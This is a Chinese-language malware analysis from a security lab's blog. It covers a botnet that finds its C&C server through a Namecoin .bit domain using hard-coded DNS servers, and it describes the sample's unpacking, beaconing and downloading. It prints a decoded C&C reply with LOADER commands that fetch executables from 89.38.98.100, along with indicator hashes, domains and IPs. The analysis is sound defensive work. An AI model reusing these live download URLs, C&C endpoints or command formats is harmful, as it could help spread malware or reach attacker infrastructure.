當前位置:
首頁 > 最新 > 基於區塊鏈域名的殭屍網路病毒分析

基於區塊鏈域名的殭屍網路病毒分析

前言

近日,深信服安全雲腦病毒流量分析團隊捕獲了一批病毒樣本,這些樣本結合了區塊鏈,通過特定的DNS伺服器對C&C伺服器地址進行解析,解析出C&C地址後再與其進行通信,這些樣本是殭屍網路樣本,可是由於C&C伺服器的域名是.bit域名,所以該殭屍網路無法被關閉,危害巨大。

近年來,區塊鏈、比特幣、比特幣域名越來越火,根據統計,對相關詞語的關注程度從2015年起越來越多:

(該圖片來源於

https://www.fireeye.com/blog/threat-research/2018/04/cryptocurrencies-cyber-crime-blockchain-infrastructure-use.html)

由於其通信方式的獨特性和危害性,現對其進行介紹和分析。

什麼是區塊鏈

簡單來說,區塊鏈是一個分類賬,其中記錄了所有交易記錄。具體而言,它是去中心化(分散式)資料庫,每個記錄稱為一個塊,包含一個時間戳和到前一個塊鏈接。這意味著一旦被記錄,數據就不能在不改變後續塊的情況下被追溯和更改。因此,它是一個資料庫,它並不需要任何權威的組織或者機構保證其可靠性。區塊鏈概念是加密貨幣的基礎。但區塊鏈可以用於許多其他應用程序。

DNS如何結合區塊鏈

域名系統(DNS)是從上世紀80年代開始的技術,它的核心功能是將域名和URL解析成IP,這樣可以讓IP地址便於閱讀和記憶。

基於區塊鏈的域名伺服器的使用可以抵制地方當局的監管。此外,可以避免的「緩存中毒」(cache poisoning)或DNS欺騙(DNS spoofing)。最近各種基於區塊鏈的DNS服務相繼出來,主要有Ethereum Name Service, Namecoin, Blockstack。實驗表明,區塊鏈是向伺服器分發名稱數據的好方法。因為區塊鏈是點對點的,並且不需要中央伺服器,而這些中央伺服器可以被當地政府或災難關閉。此外,區塊鏈保證了域名伺服器的可用性,而傳統的DNS並非如此。域名伺服器日益成為黑客的攻擊目標。當他們被破壞時,它們所解析的網站將無法正常訪問。

本文所涉及的病毒正是用區塊鏈域名伺服器進行解析然後通信的。域名以.bit結尾,基於Namecoin。Namecoin是一種基於區塊鏈的加密貨幣,通過.bit域名註冊和管理。域名註冊和個人信息無關。由於Namecoin是分散式的,沒有中央機構管理,所以用Namecoin註冊的域名不會被劫持或者關閉,由於上述的匿名性,越來越多的犯罪分子利用Namecoin構建殭屍網路並將C&C伺服器放在.bit域名上,該域名無法被監管,所以該殭屍網路無法被關閉,危害巨大。

病毒原理

程序進行了多層加密,如下圖所示,原程序在棧中釋放出解密程序,然後跳入棧中執行解密程序,解密程序在堆中釋放並解密出PE文件,然後進入該PE文件中執行,該PE文件會更改原程序的PE頭和.text段,然後運行新程序,新程序會將最終的包含惡意代碼的文件解密、創建、寫入到%AppData%目錄下,然後新建進程運行,運行後再將程序刪除。

該程序是通過.bit域名訪問C&C伺服器的,而訪問.bit域名的常用方法有:

1、Web代理

2、瀏覽器插件

3、公開的DNS

而這些方式都需要第三方的DNS伺服器,而該樣本則是將DNS伺服器地址寫到了程序中,通過訪問這些DNS伺服器,解析目標域名得到目標IP,從而進行通信。

技術分析

先用IDA打開發現大多數代碼被加密了,所以程序只能進行動態分析。

程序會首先進行解密,將解密後的程序放入棧中,然後跳到棧中執行關鍵代碼。首先會用VirtualAlloc分配0x165B2個位元組的可讀可寫可執行的空間。

寫入所有數據都是加密的,然後解密,發現這段代碼是可執行程序:

跳入剛才分配的地址空間,發現這一段也用VirtualAlloc在開闢內存:

開闢後的內存會先被寫入加密的數據:

然後進行解密,解密完成後發現是一個PE文件:

再次分配一段78E大小的空間,然後跳進去執行

Process Monitor檢測到在Roaming文件夾下生成了文件jevgr.exe,然後啟動進程jevgr.exe。這個進程還會再次啟動自己,啟動後將自己刪除:

用OD附加然後dump內存,可以得到該文件。

在該文件中可以看到如下的DNS伺服器:

程序會進行一個循環,不斷用DnsQuery_A查詢n31.smokemenowhhalala.bit的地址,只要查到就跳出循環:

域名解析成功後,會以HTTP的方式進行CC通信,通信URL一直保持不變。

在連接上C&C伺服器後,程序再構造http包,與C&C進行通信。

程序先用GetSystemInfo獲取系統信息:

再根據得到的系統信息確定操作系統版本:

程序會構造POST請求:

具體的通信內容如下:

1、通信的內容簡單地用了base64編碼,解碼後內容是

cmd&0c98390a-7519-42f6-a7ad-64659cee1efa&SINCODER-PC&Windows%207%20(64-bit)&0&N%2FA&5.2&16.08.2017&NONE

很明顯,將本地的信息發送給CC伺服器。其中sincoder-pc正是我們跑沙箱的虛擬機機器名。

2、CC伺服器返回的內容經過解碼後如下:

1507575502911182#rate5#1508136301903120#LOADER http://89.38.98.100/sReeeesa.exe#1508136310273686#LOADER http://89.38.98.100/156aReeeesa.exe#1508136318262130#LOADER http://89.38.98.100/156bReeeesa.exe#1508136326311141#LOADER http://89.38.98.100/85bReeeesa.exe#1508136336877925#LOADER http://89.38.98.100/85Reeeesa.exe#1508136344583173#LOADER http://89.38.98.100/17Reeeesa.exe#1508136353980521#LOADER http://89.38.98.100/74Reeeesa.exe#1508136363904142#LOADER http://89.38.98.100/121Reeeesa.exe#1508136376977099#LOADER http://89.38.98.100/123Reeeesa.exe#1508136394931264#LOADER http://89.38.98.100/226Reeeesa.exe#1508136408598178#LOADER http://89.38.98.100/38Reeeesa.exe#1508136429853275#LOADER http://89.38.98.100/161Reeeesa.exe#

目的是下載更多的惡意軟體。

程序接收到網址後會構造GET請求下載文件:

這些下載動作也會反饋給CC伺服器,如下圖所示,其中POST的內容解碼後為:

程序還有其他一些操作,包括屏幕截圖:

讀取進程信息:

可是,由於C&C並未給出這些指令,所以並沒有執行這些操作。

IOCs

efc03f2d6601a5da3da98d8bac31fabf

78fdac089c50ae602d6076d2aa2d6907

efc03f2d6601a5da3da98d8bac31fabf

652885e33b86140e7fc50f11b48f3275

nutsystem1.bit

n31.smokemenowhhalala.bit

89.38.98.100

118.193.174.133

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 千里目安全實驗室 的精彩文章:

預警:通過知名遠程桌面工具傳播的BlackRouter勒索病毒

TAG:千里目安全實驗室 |